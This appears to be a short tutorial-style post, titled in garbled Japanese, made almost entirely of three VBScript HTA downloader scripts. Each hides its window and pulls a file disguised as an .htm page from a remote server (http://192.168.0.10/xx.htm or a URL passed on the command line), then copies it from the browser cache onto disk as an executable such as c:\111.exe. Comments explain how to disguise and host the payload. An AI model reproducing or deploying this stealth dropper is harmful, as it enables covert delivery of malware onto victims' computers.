難しいhtaのダウンローダーになる

<script language=vbs>
window.moveTo 4000,4000
window.resizeTo 0,0 'Make hta invisible
set objshell= Createobject("WScript.Shell") 'hta is able to call WScript.Shell directly, however it cannot call wscript.Createobject("WScript.Shell")
downpath=objshell.ExpandEnvironmentStrings("%USERPROFILE%")&"\Local Settings" 'Get the downloaded path based on environment variables
set xml=document.createElement("xml")'Build the default behavior of the square xml element calling ie
xml.addBehavior("#default#DownLoad")
xml.async=0
xml.load("http://192.168.0.10/xx.htm")'Please rename the exe and put it on the space, if you upload it with ftp software, it may not work, it is better to put it directly
ShowAllFile(downpath)
Sub ShowAllFile(Path) 'Iterate through the lookup, directly using lake2's code
FindFileName="xx[1].htm" 'This is also what you need to change, if the top is xx.htm, here is xx[1].htm
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.GetFolder(Path)
Set fc = f.SubFolders
For Each f1 in fc
If FSO.FileExists(path&"\"&f1.name&"\"&FindFileName) Then
FSO.CopyFile path&"\"&f1.name&"\"&FindFileName, "c:\111.exe" 'Save to c:\111.exe, can be changed as needed
' document.write "[+]Download Success ! "
End If
ShowAllFile path&"\"&f1.name
Next
Set FSO = Nothing
End Sub
window.close
</script>

<HTA:APPLICATION
ID="MySampleHTA"
Caption="yes">
<script language=vbs>
on error resume Next
window.moveTo 4000,4000
window.resizeTo 0,0 'Make hta invisible
cmdLineArray = Split(MySampleHTA.commandLine) 'This is turning the parameters in the command into an array
set objshell= Createobject("WScript.Shell")
downpath=objshell.ExpandEnvironmentStrings("%USERPROFILE%")&"\Local Settings" 'Get the downloaded path based on environment variables
temp=LastOne(cmdLineArray(UBound(cmdLineArray)),"/") 'Get the current filename from the command line
temp=split(temp,". ") 'Get the current file name from the command line based on . split
FindFileName=temp(0)&"[1]. "&temp(1)
LocalName=objshell.CurrentDirectory&"\"&temp(0)&".exe"
set xml=document.createElement("xml")
xml.addBehavior("#default#DownLoad")
xml.async=0
xml.load(cmdLineArray(UBound(cmdLineArray)))
ShowAllFile(downpath)
Sub ShowAllFile(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.GetFolder(Path)
Set fc = f.SubFolders
For Each f1 in fc
If FSO.FileExists(path&"\"&f1.name&"\"&FindFileName) Then
FSO.CopyFile path&"\"&f1.name&"\"&FindFileName, LocalName
' document.write "[+]Download Success ! "
End If
ShowAllFile path&"\"&f1.name
Next
Set FSO = Nothing
End Sub
Function LastOne(Str,splitStr)
'Enter characters and separator to get the last part
LastOne = right(Str,len(Str)-InStrRev(Str,splitStr))
End Function
window.close
</script>

window.moveTo 4000,4000
window.resizeTo 0,0 'Make hta invisible
set xml=document.createElement("xml")'Build square xml element to call ie's default behavior
xml.addBehavior("#default#DownLoad")
xml.async=0
xml.load("http://192.168.0.10/xx.htm")'
window.close